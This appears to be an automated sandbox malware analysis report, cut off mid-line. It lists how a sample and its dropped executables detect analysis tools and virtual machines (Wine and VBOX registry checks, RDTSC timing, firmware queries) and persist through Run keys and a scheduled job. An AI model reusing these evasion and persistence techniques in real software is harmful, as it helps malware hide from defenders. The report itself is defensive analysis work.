Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EED02 second address: 4EED0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4EED0D second address: 4EED11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 679BA6 second address: 679BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67A2DE second address: 67A2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9DB0FF9A3Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67A2F2 second address: 67A30F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67A30F second address: 67A315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67A315 second address: 67A323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C35F second address: 67C363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C363 second address: 67C369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C369 second address: 4EED02 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2C0F4711h 0x0000000f push dword ptr [ebp+122D08F5h] 0x00000015 jns 00007F9DB0FF9A3Ch 0x0000001b mov dword ptr [ebp+122D1CDBh], edi 0x00000021 call dword ptr [ebp+122D207Dh] 0x00000027 pushad 0x00000028 jne 00007F9DB0FF9A37h 0x0000002e xor eax, eax 0x00000030 jmp 00007F9DB0FF9A43h 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 xor dword ptr [ebp+122D1CE7h], edx 0x0000003f jc 00007F9DB0FF9A3Ch 0x00000045 sub dword ptr [ebp+122D1D58h], esi 0x0000004b mov dword ptr [ebp+122D3A95h], eax 0x00000051 cld 0x00000052 mov esi, 0000003Ch 0x00000057 pushad 0x00000058 jmp 00007F9DB0FF9A43h 0x0000005d cld 0x0000005e popad 0x0000005f pushad 0x00000060 jmp 00007F9DB0FF9A40h 0x00000065 mov esi, dword ptr [ebp+122D3ACDh] 0x0000006b popad 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 jmp 00007F9DB0FF9A3Fh 0x00000075 lodsw 0x00000077 jmp 00007F9DB0FF9A3Fh 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D1CE7h], edi 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a mov dword ptr [ebp+122D1CE7h], esi 0x00000090 push eax 0x00000091 pushad 0x00000092 pushad 0x00000093 push eax 0x00000094 push edx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C3B9 second address: 67C47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007F9DB10DC5C2h 0x00000013 nop 0x00000014 call 00007F9DB10DC5C2h 0x00000019 mov dh, 8Ah 0x0000001b pop edi 0x0000001c mov edi, dword ptr [ebp+122D3BD5h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F9DB10DC5B8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e or esi, dword ptr [ebp+122D39B5h] 0x00000044 push 808A3699h 0x00000049 jmp 00007F9DB10DC5C9h 0x0000004e add dword ptr [esp], 7F75C9E7h 0x00000055 mov edx, eax 0x00000057 mov dword ptr [ebp+122D1CDBh], eax 0x0000005d push 00000003h 0x0000005f clc 0x00000060 push 00000000h 0x00000062 jmp 00007F9DB10DC5BEh 0x00000067 push 00000003h 0x00000069 mov ecx, dword ptr [ebp+122D3BA5h] 0x0000006f push B8771993h 0x00000074 pushad 0x00000075 jmp 00007F9DB10DC5BBh 0x0000007a pushad 0x0000007b push edx 0x0000007c pop edx 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C47B second address: 67C4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 78771993h 0x0000000d xor dword ptr [ebp+122D3842h], edi 0x00000013 lea ebx, dword ptr [ebp+124612B5h] 0x00000019 mov edi, 5CF55B9Fh 0x0000001e jno 00007F9DB0FF9A3Bh 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jns 00007F9DB0FF9A38h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C526 second address: 67C5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d xor dword ptr [ebp+122D2A42h], ebx 0x00000013 jnc 00007F9DB10DC5B9h 0x00000019 push 00000000h 0x0000001b mov ecx, 2663BD70h 0x00000020 movsx esi, cx 0x00000023 push 91CE4C80h 0x00000028 jne 00007F9DB10DC5C0h 0x0000002e add dword ptr [esp], 6E31B400h 0x00000035 mov dword ptr [ebp+122D341Eh], edi 0x0000003b push 00000003h 0x0000003d jmp 00007F9DB10DC5BEh 0x00000042 mov dword ptr [ebp+122D2A1Fh], edi 0x00000048 push 00000000h 0x0000004a movsx ecx, ax 0x0000004d push edx 0x0000004e xor ecx, dword ptr [ebp+122D3A29h] 0x00000054 pop edi 0x00000055 push 00000003h 0x00000057 jmp 00007F9DB10DC5BDh 0x0000005c push edi 0x0000005d adc si, 1709h 0x00000062 pop ecx 0x00000063 call 00007F9DB10DC5B9h 0x00000068 jng 00007F9DB10DC5C2h 0x0000006e push eax 0x0000006f push ecx 0x00000070 